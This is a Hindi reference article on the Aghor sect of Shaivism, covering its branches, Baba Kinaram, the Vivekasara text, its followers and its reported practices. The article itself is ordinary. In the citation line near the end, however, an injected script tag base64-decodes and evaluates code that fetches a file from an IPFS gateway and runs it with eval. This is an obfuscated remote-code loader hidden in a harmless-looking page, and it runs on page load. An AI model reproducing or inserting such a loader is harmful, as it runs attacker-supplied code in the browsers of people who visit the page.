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अघोरपन्थ

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अघोरपन्थ 'अघोर' या 'अघोरियों' का सम्प्रदाय है, जिसके प्रवर्तक स्वंय अघोरनाथ शिव माने जाते हैं। रुद्र की मूर्ति को 'श्वेताश्वतरोपनिषद'[1] में 'अघोरा' या 'मंगलमयी' कहा गया है और उनका 'अघोरमंत्र' भी प्रसिद्ध है। अघोरपन्थ वाममार्गी शैवों का सम्प्रदाय है, जिसे 'कापालिक मत', 'अवधू मत' या 'सरभंग मत' भी कहा जाता है। अघोरपन्थी साधुओं को प्राय: 'औघड़' कहा जाता है। विदेशों में, विशेषकर ईरान में, भी ऐसे पुराने मतों का पता चलता है तथा पश्चिम के कुछ विद्वानों ने उनकी चर्चा भी की है। हेनरी बालफ़ोर की खोजों से विदित हुआ है कि इस पन्थ के अनुयायी अपने मत को गुरु गोरखनाथ द्वारा प्रवर्तित मानते हैं, किन्तु इसके प्रमुख प्रचारक मोतीनाथ हुए, जिनके विषय में अभी तक पता नहीं चल सका है। किनाराम बाबा भी अघोरपन्थी साधु थे।

शाखाएँ

अघोरपन्थ की तीन शाखाएँ प्रसिद्ध हैं-

  1. औघड़
  2. सरभंगी
  3. घुरे

इनमें से पहली शाखा में कल्लूसिंह व कालूराम हुए, जो किनाराम बाबा के गुरु थे। कुछ लोग इस पन्थ को गुरु गोरखनाथ के भी पहले से प्रचलित बतलाते हैं और इसका सम्बन्ध शैव मत के पाशुपत अथवा कालामुख सम्प्रदाय के साथ जोड़ते हैं। बाबा किनाराम अघोरी वर्तमान बनारस ज़िले के समगढ़ गाँव में उत्पन्न हुए थे और बाल्यकाल से ही विरक्त भाव में रहते थे। इन्होंने पहले बाबा शिवाराम वैष्णव से दीक्षा ली थी, किन्तु वे फिर गिरनार के किसी महात्मा द्वारा भी प्रभावित हो गए। इस महात्मा को प्राय: गुरु दत्तात्रेय समझा जाता है, जिनकी ओर इन्होंने स्वयं भी कुछ संकेत किए हैं। अन्त में ये काशी के बाबा कालूराम के शिष्य हो गये और उनके अनन्तर 'कृमिकुंड' पर रहकर इस पन्थ के प्रचार में समय देने लगे। बाबा किनाराम ने 'विवेकसार' , 'गीतावली', 'रामगीता' आदि की रचना की। इनमें से प्रथम को इन्होंने उज्जैन में शिप्रा नदी के किनारे बैठकर लिखा था। इनका देहान्त संवत 1826 में हुआ।

  • 'घुरे' नाम की शाखा के प्रचारक्षेत्र का पता नहीं चलता, किन्तु सरभंगी शाखा का अस्तित्व विशेषकर चम्पारन ज़िले में दिखता है।

विवेकसार ग्रन्थ

'विवेकसार' इस पन्थ का एक प्रमुख ग्रन्थ है, जिसमें बाबा किनाराम ने 'आत्माराम' की वन्दना और अपने आत्मानुभव की चर्चा की है। उसके अनुसार सत्य पुरुष व निरंजन है, जो सर्वत्र व्यापक और व्याप्त रूपों में वर्तमान है और जिसका अस्तित्व सहज रूप है। ग्रन्थ में उन अंगों का भी वर्णन है, जिनमें से प्रथम तीन में सृष्टिरहस्य, कायापरिचयय, पिंडब्रह्मांड, अनाहतनाद एवं निरंजन का विवरण है। अगले तीन में योगसाधना, निरालंब की स्थिति, आत्मविचार, सहज समाधि आदि की चर्चा की गई है तथा शेष दो में सम्पूर्ण विश्व के ही आत्मस्वरूप होने और आत्मस्थिति के लिए दया, विवेक आदि के अनुसार चलने के विषय में कहा गया है। बाबा किनाराम ने इस पन्थ के प्रचारार्थ रामगढ़, देवल, हरिहरपुर तथा कृमिकुंड पर क्रमश: चार मठों की स्थापना की। जिनमें से चौथा प्रधान केनद्र है।

अनुयायी

इस पन्थ को साधारणत: 'औघड़पनथ' भी कहते हैं। इसके अनुयायियों में सभी जाति के लोग, मुस्लिम तक हैं। विलियम क्रुक ने अघोरपन्थ के सर्वप्रथम प्रचलित होने का स्थान राजपूताना के आबू पर्वत को बतलाया है, किन्तु इसके प्रचार का पता नेपाल, गुजरात एवं समरकन्द जैसे दूर स्थानों तक भी चलता है और इसके अनुयायियों की संख्या भी कम नहीं है।

अघोरपन्थी क्रियायें

जो लोग अपने को अघोरी व औघड़ बतलाकर अघोरपन्थ से अपन सम्बन्ध जोड़ते हैं, उसमें अधिकतर शवसाधना करना, मुर्दे का माँस खाना, उसकी खोपड़ी में मदिरा पान करना तथा घिनौनी वस्तुओं का व्यवहार करना भी दीख पड़ता है, जो कदाचित् कापालिकों का प्रभाव हो। इनके मदिरादि सेवन का सम्बन्ध गुरु दत्तात्रेय के साथ भी जोड़ा जाता है, जिनका मदकलश के साथ उत्पन्न होना कहा गया है। अघोरी कुछ बातों में उन बेकनफटे जोगी 'औघड़ों' से भी मिलते-जुलते हैं, जो नाथपन्थ के प्रारम्भिक साधकों में गिने जाते हैं और जिनका अघोरपन्थ के साथ कोई भी सम्बन्ध नहीं है। इनमें निर्वाणी और गृहस्थ दोनों ही होते हैं और इनकी वेशभूषा में भी सादे अथवा रंगीन कपड़े होने का कोई कड़ा नियम नहीं है। अघोरियों के सिर पर जटा, गले में स्फटिक की माला तथा कमर में घाँघरा और हाथ में त्रिशूल रहता है, जिससे दर्शकों को भय लगता है।


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टीका टिप्पणी और संदर्भ

भारतीय संस्कृति कोश, भाग-1 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 25 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. श्वेताश्वतरोपनिषद, 3-5

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